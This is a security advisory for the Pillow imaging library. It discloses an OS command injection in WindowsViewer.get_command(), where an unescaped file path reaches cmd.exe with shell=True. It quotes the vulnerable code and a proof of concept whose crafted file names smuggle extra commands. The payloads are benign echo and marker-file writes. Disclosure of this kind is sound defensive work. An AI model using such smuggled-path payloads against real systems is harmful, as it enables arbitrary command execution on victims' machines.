GHSA-4x4j-2g7c-83w6MediumCVSS 4.5

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

Published
July 20, 2026
Last Modified
July 20, 2026

🔗 CVE IDs covered (1)

📋 Description

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

class WindowsViewer(Viewer):
    format = "PNG"
    options = {"compress_level": 1, "save_all": True}

    def get_command(self, file: str, **options: Any) -> str:
        return (
            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
            "&& ping -n 4 127.0.0.1 >NUL "
            f'&& del /f "{file}"'                # ← same path, unescaped again
        )

    def show_file(self, path: str, **options: Any) -> int:
        if not os.path.exists(path):
            raise FileNotFoundError
        subprocess.Popen(
            self.get_command(path, **options),
            shell=True,                          # ← shell=True
            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
        )  # nosec                               # ← Bandit warning suppressed manually
        return 1

Contrast with macOS — SAFE (line 164–168):

class MacViewer(Viewer):
    def get_command(self, file: str, **options: Any) -> str:
        command = "open -a Preview.app"
        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
        return command                           # ← shlex.quote() applied

Cross-platform summary:

| Platform | Class | shlex.quote()? | shell=True? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes | | Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes | | Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No |

shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
# ├─ & echo PWNED                           → INJECTED COMMAND
# └─ & echo ""  && ping ...                → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

import os, tempfile
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")

# Craft injection: payload writes a marker file (harmless)
payload   = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')

# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)

# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)

assert os.path.exists(marker)                          # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read()          # PASSES
# → CONFIRMED: arbitrary command injection via get_command()

🎯 Affected products1

  • pip/Pillow:< 12.3.0

🔗 References (8)